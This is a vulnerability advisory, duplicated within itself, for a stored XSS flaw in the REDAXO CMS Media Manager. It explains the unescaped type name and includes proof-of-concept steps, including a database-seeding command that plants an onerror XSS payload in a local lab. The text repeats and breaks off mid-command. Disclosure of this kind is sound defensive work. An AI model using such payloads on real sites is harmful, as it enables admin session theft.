CVE-2026-63001

REDAXO is a PHP-based content management system. Prior to 5.21.2, the mediaIsInUse() handler in redaxo/src/addons/media_manager/lib/media_manager.php inserts a Media Manager type name into raw backend warning HTML without escaping it when invoked through MEDIA_IS_IN_USE. An administrator with Media Manager access can store HTML in a type name, and the payload executes in another administrator's browser when that administrator tries to delete media referenced by the type's effects, enabling session theft or unauthorized backend actions. This issue is fixed in version 5.21.2.

REDAXO is a PHP-based content management system. Prior to 5.21.2, the mediaIsInUse() handler in redaxo/src/addons/media_manager/lib/media_manager.php inserts a Media Manager type name into raw backend warning HTML without escaping it when invoked through MEDIA_IS_IN_USE. An administrator with Media Manager access can store HTML in a type name, and the payload executes in another administrator's browser when that administrator tries to delete media referenced by the type's effects, enabling session theft or unauthorized backend actions. This issue is fixed in version 5.21.2.

Summary

A stored cross-site scripting (XSS) vulnerability exists in REDAXO CMS 5.x. When an administrator attempts to delete a media file that is referenced by a Media Manager effect, the warning message rendered in the backend includes the type's name field without HTML escaping. An attacker with access to the Media Manager addon can store an XSS payload as a type name; the payload executes in the browser of any administrator who subsequently tries to delete a media file linked to that type's effects. This can lead to session hijacking and full backend account takeover.

Details

File: redaxo/src/addons/media_manager/lib/media_manager.php Function: mediaIsInUse() — registered on the MEDIA_IS_IN_USE extension point in boot.php

When rex_media_service::deleteMedia() is called, it invokes rex_mediapool::mediaIsInUse($filename), which fires the MEDIA_IS_IN_USE extension point. The media_manager addon's handler queries all effects whose parameters JSON contains the filename, then constructs an HTML anchor with the type name inserted verbatim:

// media_manager.php ~line 457  ← VULNERABLE
$message = '<a href="javascript:openPage(\'' . rex_url::backendPage(...) . '\')">'
    . rex_i18n::msg('media_manager') . ' '
    . rex_i18n::msg('media_manager_effect_name') . ': '
    . (string) $sql->getValue('name')   // ← NO rex_escape() call
    . '</a>';

The returned $message string is concatenated into the exception message thrown by deleteMedia() and rendered by rex_view::error() as raw HTML.

Contrast with the correct pattern used elsewhere in the same addon:

// types.php line 91  ← CORRECT
$name = '<b>' . rex_escape($list->getValue('name')) . '</b>';

Input validation gap: types.php line 200 validates the type name with the rule NOT_MATCH '{[/\\]}', which blocks {, /, and \ but permits <, >, ", ', and & — all characters required to inject HTML.

PoC

<img width="2074" height="1720" alt="image" src="https://github.com/user-attachments/assets/207f85d3-f4e2-4828-9211-8da36ec9c43d" />

Test environment: REDAXO 5.x running at http://localhost/ Account required: Any REDAXO backend administrator Test credentials: username admin / password Admin12345!

Step 1 — Seed test data directly into the database (single CMD command)

docker exec -i 34--core-5x-redaxo-1 php -r "$p=new PDO('mysql:host=db;dbname=redaxo','redaxo','redaxo');$p->exec(\"INSERT IGNORE INTO rex_media(category_id,attributes,filetype,filename,originalname,filesize,width,height,title,createdate,createuser,updatedate,updateuser) VALUES(0,'','image/jpeg','xss_test.jpg','xss_test.jpg',284,1,1,'XSS Test',NOW(),'admin',NOW(),'admin')\");$tid=$p->query(\"SELECT id FROM rex_media_manager_type WHERE name='<img src=x onerror=alert(document.domain)>'\")->fetchColumn();if(!$tid){$p->prepare(\"INSERT INTO rex_media_manager_type(status,name,description,createdate,createuser,updatedate,updateuser) VALUES(1,?,'poc',NOW(),'admin',NOW(),'admin')\")->execute(['<img src=x onerror=alert(document.domain)>']);$tid=$p->lastInsertId();}$p->prepare(\"INSERT IGNORE INTO rex_media_manager_type_effect(type_id,effect,parameters,priority,createdate,createuser,updatedate,updateuser) VALUES(?,'watermark',?,1,NOW(),'admin',NOW(),'admin')\")->execute([$tid,json_encode(['rex_effect_watermark'=>['watermark_image'=>'xss_test.jpg']])]);echo \"OK type_id=$tid\n\";"

Step 2 — Place a 1×1 JPEG in the media directory

docker exec 34--core-5x-redaxo-1 sh -c "printf '\xff\xd8\xff\xe0\x00\x10JFIF\x00\x01\x01\x00\x00\x01\x00\x01\x00\x00\xff\xdb\x00C\x00\x08\x06\x06\x07\x06\x05\x08\x07\x07\x07\t\t\x08\n\x0c\x14\r\x0c\x0b\x0b\x0c\x19\x12\x13\x0f\x14\x1d\x1a\x1f\x1e\x1d\x1a\x1c\x1c $.\'…

REDAXO is a PHP-based content management system. Prior to 5.21.2, the mediaIsInUse() handler in redaxo/src/addons/media_manager/lib/media_manager.php inserts a Media Manager type name into raw backend warning HTML without escaping it when invoked through MEDIA_IS_IN_USE. An administrator with Media Manager access can store HTML in a type name, and the payload executes in another administrator's browser when that administrator tries to delete media referenced by the type's effects, enabling session theft or unauthorized backend actions. This issue is fixed in version 5.21.2.

REDAXO is a PHP-based content management system. Prior to 5.21.2, the mediaIsInUse() handler in redaxo/src/addons/media_manager/lib/media_manager.php inserts a Media Manager type name into raw backend warning HTML without escaping it when invoked through MEDIA_IS_IN_USE. An administrator with Media Manager access can store HTML in a type name, and the payload executes in another administrator's browser when that administrator tries to delete media referenced by the type's effects, enabling session theft or unauthorized backend actions. This issue is fixed in version 5.21.2.

Summary

A stored cross-site scripting (XSS) vulnerability exists in REDAXO CMS 5.x. When an administrator attempts to delete a media file that is referenced by a Media Manager effect, the warning message rendered in the backend includes the type's name field without HTML escaping. An attacker with access to the Media Manager addon can store an XSS payload as a type name; the payload executes in the browser of any administrator who subsequently tries to delete a media file linked to that type's effects. This can lead to session hijacking and full backend account takeover.

Details

File: redaxo/src/addons/media_manager/lib/media_manager.php Function: mediaIsInUse() — registered on the MEDIA_IS_IN_USE extension point in boot.php

When rex_media_service::deleteMedia() is called, it invokes rex_mediapool::mediaIsInUse($filename), which fires the MEDIA_IS_IN_USE extension point. The media_manager addon's handler queries all effects whose parameters JSON contains the filename, then constructs an HTML anchor with the type name inserted verbatim:

// media_manager.php ~line 457  ← VULNERABLE
$message = '<a href="javascript:openPage(\'' . rex_url::backendPage(...) . '\')">'
    . rex_i18n::msg('media_manager') . ' '
    . rex_i18n::msg('media_manager_effect_name') . ': '
    . (string) $sql->getValue('name')   // ← NO rex_escape() call
    . '</a>';

The returned $message string is concatenated into the exception message thrown by deleteMedia() and rendered by rex_view::error() as raw HTML.

Contrast with the correct pattern used elsewhere in the same addon:

// types.php line 91  ← CORRECT
$name = '<b>' . rex_escape($list->getValue('name')) . '</b>';

Input validation gap: types.php line 200 validates the type name with the rule NOT_MATCH '{[/\\]}', which blocks {, /, and \ but permits <, >, ", ', and & — all characters required to inject HTML.

PoC

<img width="2074" height="1720" alt="image" src="https://github.com/user-attachments/assets/207f85d3-f4e2-4828-9211-8da36ec9c43d" />

Test environment: REDAXO 5.x running at http://localhost/ Account required: Any REDAXO backend administrator Test credentials: username admin / password Admin12345!

Step 1 — Seed test data directly into the database (single CMD command)

docker exec -i 34--core-5x-redaxo-1 php -r "$p=new PDO('mysql:host=db;dbname=redaxo','redaxo','redaxo');$p->exec(\"INSERT IGNORE INTO rex_media(category_id,attributes,filetype,filename,originalname,filesize,width,height,title,createdate,createuser,updatedate,updateuser) VALUES(0,'','image/jpeg','xss_test.jpg','xss_test.jpg',284,1,1,'XSS Test',NOW(),'admin',NOW(),'admin')\");$tid=$p->query(\"SELECT id FROM rex_media_manager_type WHERE name='<img src=x onerror=alert(document.domain)>'\")->fetchColumn();if(!$tid){$p->prepare(\"INSERT INTO rex_media_manager_type(status,name,description,createdate,createuser,updatedate,updateuser) VALUES(1,?,'poc',NOW(),'admin',NOW(),'admin')\")->execute(['<img src=x onerror=alert(document.domain)>']);$tid=$p->lastInsertId();}$p->prepare(\"INSERT IGNORE INTO rex_media_manager_type_effect(type_id,effect,parameters,priority,createdate,createuser,updatedate,updateuser) VALUES(?,'watermark',?,1,NOW(),'admin',NOW(),'admin')\")->execute([$tid,json_encode(['rex_effect_watermark'=>['watermark_image'=>'xss_test.jpg']])]);echo \"OK type_id=$tid\n\";"

Step 2 — Place a 1×1 JPEG in the media directory

docker exec 34--core-5x-redaxo-1 sh -c "printf '\xff\xd8\xff\xe0\x00\x10JFIF\x00\x01\x01\x00\x00\x01\x00\x01\x00\x00\xff\xdb\x00C\x00\x08\x06\x06\x07\x06\x05\x08\x07\x07\x07\t\t\x08\n\x0c\x14\r\x0c\x0b\x0b\x0c\x19\x12\x13\x0f\x14\x1d\x1a\x1f\x1e\x1d\x1a\x1c\x1c $.\'…